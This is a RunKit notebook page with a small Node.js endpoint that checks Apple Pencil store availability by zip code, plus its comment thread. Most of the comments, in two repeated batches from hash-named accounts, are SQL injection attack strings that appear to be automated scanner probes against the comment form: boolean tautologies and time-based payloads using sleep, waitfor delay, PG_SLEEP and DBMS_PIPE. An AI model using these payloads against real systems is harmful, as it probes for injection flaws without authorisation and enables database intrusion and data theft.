 Pencil Availability

node v0.12.18
version: 2.0.0
endpointsharetweet
var React = require("react"); var ReactRender = require("react-dom/server").renderToString; var got = require('got'); var modelNumber = "MK0C2AM/A"; var zipCode = "94117"; var url = "http://www.apple.com/shop/retailStore/availabilitySearch?parts.0="+ encodeURIComponent(modelNumber) +"&zip="; exports.tonicEndpoint = async function(aRequest, aResponse) { try { var zip = require('url').parse(aRequest.url, true).query.zip || "94117"; var json = require('url').parse(aRequest.url, true).query.json || false; var results = await applePencilAvailability(zip); if (json) aResponse.end(JSON.stringify(results)); aResponse.setHeader('Content-Type', 'text/html'); aResponse.end(ReactRender(<ul>{ results.map(aResult => <li>{ aResult }</li>) }</ul>)); } catch(e) { aResponse.end(e + "!!"); } } //await exports.handleRequest({ url: "https://a/?zip=94117" }, { end: console.log }); //JSON.stringify(await applePencilAvailability("94567"))
async function applePencilAvailability(aZipCode) { var response = await got(url + aZipCode, { json: true }); return response.body['body']['stores'].map(function(store) { return store['partsAvailability'][modelNumber]['pickupQuote']; } ); }
Loading…

57 comments

  • posted 4 years ago by mustafa201611
    Master
  • posted 4 years ago by mustafa201611
    Hello world
  • posted 4 years ago by kadirselcuk
    test
  • posted 3 years ago by gazirana
    Hallo,Many Let Day ReNaice To Met.
  • posted 3 years ago by ashlee
    Set
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+788-788-1=0+0+0+1 --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+248-248-1=0+0+0+1
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+662-662-1=0+0+0+1 --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+25-25-1=0+0+0+1 or 'ywKCSRzi'='
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1" OR 2+382-382-1=0+0+0+1 --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*if(now()=sysdate(),sleep(15),0)
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1; waitfor delay '0:0:15' --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1); waitfor delay '0:0:15' --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 waitfor delay '0:0:15' --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1wzAXvI24'; waitfor delay '0:0:15' --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 OR 910=(SELECT 910 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1)) OR 385=(SELECT 385 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1QhSiS791' OR 809=(SELECT 809 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1uJASMhdg') OR 519=(SELECT 519 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1ef3H3uUO')) OR 166=(SELECT 166 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    '"
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    ����%2527%2522\'\"
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    @@L7b0G
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+401-401-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+616-616-1=0+0+0+1
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+605-605-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+348-348-1=0+0+0+1 or 'pBTkwncb'='
  • posted 24 days ago by 67478559714940000843b0a0
    -1" OR 2+418-418-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    1*if(now()=sysdate(),sleep(15),0)
  • posted 24 days ago by 67478559714940000843b0a0
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 24 days ago by 67478559714940000843b0a0
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 24 days ago by 67478559714940000843b0a0
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 24 days ago by 67478559714940000843b0a0
    1-1; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1); waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1i89Gvo0v'; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 OR 21=(SELECT 21 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1) OR 327=(SELECT 327 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1)) OR 633=(SELECT 633 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1vh7IKeYR' OR 101=(SELECT 101 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1TlrJjEXu') OR 836=(SELECT 836 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1RTrtJZDx')) OR 612=(SELECT 612 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 24 days ago by 67478559714940000843b0a0
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 24 days ago by 67478559714940000843b0a0
    '"
  • posted 24 days ago by 67478559714940000843b0a0
    ����%2527%2522\'\"
  • posted 24 days ago by 67478559714940000843b0a0
    @@2gzKm

sign in to comment